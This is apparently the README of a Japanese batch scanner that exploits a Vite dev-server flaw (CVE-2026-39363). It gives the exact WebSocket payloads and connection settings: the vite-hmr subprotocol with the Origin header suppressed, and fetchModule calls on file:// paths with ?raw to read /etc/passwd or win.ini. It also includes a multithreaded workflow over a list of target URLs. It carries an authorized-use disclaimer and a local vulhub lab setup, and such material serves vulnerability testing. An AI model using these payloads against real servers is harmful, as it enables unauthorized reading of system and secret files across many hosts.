
バッチ型脆弱性スキャナ。Vite開発サーバーにおけるCVE-2026-39363を対象とし、WebSocketのオリジン検証バイパスを悪用して、file://プロトコルを介したfetchModule経由で任意のファイルを読み取ります。
免責事項: 本ツールは認可されたセキュリティテストおよび教育研究のみを目的としています。利用者は現地の法令を遵守する必要があり、許可なく他者のシステムをスキャンまたは攻撃することは違法行為です。作者は不正使用によるいかなる責任も負いません。
Vite 開発サーバー(6.0.0 ~ 6.4.1、7.0.0 ~ 7.3.1、8.0.0 ~ 8.0.4)の HMR WebSocket は Origin ヘッダーを検証していません。攻撃者は vite:invoke イベントを介して fetchModule を呼び出し、file:// プロトコルと ?raw パラメータを組み合わせることで server.fs.allow の制限を回避し、サーバー上の任意のファイルを読み取ることができます。
url.txt → http://host:port
↓ host + port を解析
↓
┌─ Step 1: ws://host:指定ポート を試行
│ ├─ WebSocket ハンドシェイク成功 + exploit 成功 → 脆弱性あり
│ └─ 失敗 → 指定ポート == 5173 の場合 → 脆弱性なし
│
└─ Step 3: host:5173 をプローブ(指定ポート ≠ 5173 の場合のみ)
├─ ポートが閉じている → 脆弱性なし
└─ ポートが開いている → 5173 で WebSocket ハンドシェイク + exploit
├─ 成功 → 脆弱性あり
└─ 失敗 → 脆弱性なし
pip install -r requirements.txt
プロキシを有効にするには、スクリプトの26〜27行目のコメントを解除します
# プロキシを使用する場合は、以下の2行のコメントを解除し、正しいプロキシアドレスとポートを設定してください
# os.environ["HTTP_PROXY"] = "http://127.0.0.1:8083"
# os.environ["HTTPS_PROXY"] = "http://127.0.0.1:8083"
url.txt にターゲット URL を1行につき1つ記述します:
http://192.168.1.100:5173
http://example.com
http://target.cn:8080
python cve_2026_39363.py
ターミナル:
[*] Loaded 3 URL(s), scanning with 3 thread(s)...
http://192.168.1.100:5173 存在漏洞 (Linux)
http://example.com 存在漏洞 (Linux)
http://target.cn:8080 不存在漏洞
[*] Done. 2/3 vulnerable, elapsed 3.2s
[*] Results saved to result.txt
result.txt:
http://192.168.1.100:5173 (Linux)
http://example.com:5173 (Linux)
各行には POC タイプ(
Linux/Windows)が含まれ、正常に読み取られたファイルの特徴が識別されます。
| 対象システム | 読み取りファイル | 特徴マーカー |
|---|---|---|
| Linux | file:///etc/passwd?raw | root: |
| Windows | file:///C:/Windows/win.ini?raw | for 16-bit app support |
2種類のペイロード形式をサポート(順番に試行):
{"id":"send:0","name":"fetchModule","data":[file_path]}{"fn":"fetchModule","args":[file_path]}| パラメータ | 値 | 理由 |
|---|---|---|
| サブプロトコル | vite-hmr | Vite HMR WebSocket の要件 |
| Origin | 送信を抑制 (suppress_origin=True) | Vite は Origin ヘッダー付きの非ブラウザ接続を拒否するため |
# 起動
docker run -d --name vite-vuln -p 5173:5173 vulhub/vite:7.3.1
# スキャン
echo "http://127.0.0.1:5173" > url.txt
python cve_2026_39363.py
# クリーンアップ
docker stop vite-vuln && docker rm vite-vuln
Q: すべての検出で「脆弱性なし」と返される?
--host または server.host でネットワークに公開されているか確認してくださいWebSocket が server.ws: false で無効化されていないか確認してくださいQ: Windows で出力が文字化けする?
Q: PowerShell で生成した url.txt が解析できない?
utf-8-sig を使用して BOM を自動的にスキップします